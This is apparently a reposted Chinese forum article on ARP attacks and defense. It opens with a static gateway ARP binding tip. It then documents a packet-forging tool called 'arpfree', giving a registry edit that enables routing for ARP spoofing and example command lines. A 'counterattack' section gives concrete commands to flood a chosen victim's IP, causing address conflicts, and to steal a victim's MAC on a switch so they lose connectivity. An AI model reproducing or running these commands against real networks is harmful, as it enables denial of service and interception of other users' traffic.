|
相关的文章与相关工具打包发到１２６＆sogou等信箱中 arp攻击和防止_arpfree.rar。
相关的工具： （需要winpcap3.0支持，如果熟悉sniffer/iris4.07/omnipeek3,还可以使用他们带的发包工具。） 对于内网个人用户，可以绑定自己网内网关的IP和MAC，简单的防止一些 ARP 欺骗
每次开机时运行如下命令 arp -d arp -s 192.168.0.1 00-22-aa-00-22-aa 192.168.0.1 改为你所在内网的网关 00-22-aa-00-22-aa 改为那个网关电脑（或路由器）的 MAC 地址，查询网关的 MAC 地址，可以用命令 arp -a 192.168.0.1 另外，附上上面那个 arpfree 工具的说明（转自软件路由论坛）：
|
arp 攻击和防止 分享一个能够随意发送ARP包的工具~ 补充： 开始忘记说了，要使用ARP欺骗，必须启动ip路由功能，修改(添加)注册表选项： HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1 下面的朋友发现打开网卡失败，原因可能就是这个~对不起，对不起~ 我一个朋友做的发送ARP报文的软件，可以发送任意 源，目的 地址的ARP报文 我觉得挺方便的，可以结合SNIFFER做不少的事~不用老在SNIFFER里做ARP包了~ 不过要安装winpacp驱动先， winpacp在附件1中（要先重命名为WinPcap_3_0.exe 再安装）因为不能上传EXE.... 软件（ARPFREE）在附件2中。 发送的时候可以选择ARP的TYPE。如果是ARP请求报文，则只要输入要问的IP地址 如果是ARP应答报文则要输入发送端的IP以及对方询问MAC地址对应的IP地址 最后的发送速度可选参数为：（大小写敏感..我觉得挺不好的） fast----------最快 hear---------每60MS一个包（可能是比较适合结合SNIFFER做监听） slowhear---每500MS一个包 auto---------每1秒一个包 slow---------每2秒个包 使用方法如下： *********************************************************************** * (1)Send arp packet in "request mode" Examples: * arpfree 0050fc272b26 000b6af80ca8 request 1.1.1.1 fast * | | | | | * your mac address | | | | * destnation mac | | speed * arp type | * | * your ip address *********************************************************************** * (2)Send arp packet in "reply mode" Examples: * arpfree 0050fc272b26 000b6af80ca8 reply 1.1.1.1 2.2.2.2 auto * | | | | | | * your mac address | | | | | * destnation mac | | | speed * arp type | | * | | * your ip address | * | * the ip address of destnation mac *********************************************************************** 补充：反击“LAN终结者”的办法： 反击“终结者”有几个办法： 1：发动比他更强烈的攻击： arpfree 123412341234 ffffffffffff request 192.168.237.58 fast | | 这里是你想攻击的人的IP地址 2：交换机竞争： arpfree 00c04c395a3c 123412341234 request 1.1.1.1. fast | | 这里是你想攻击的人的MAC地址 1:情况将导致他IP地址冲突（比“终结者”来的猛烈多了） 2：情况将使得他无法连接网络（由于交换机把他的流量都给你了） |
|
|
来自： dreamland > 《computer》
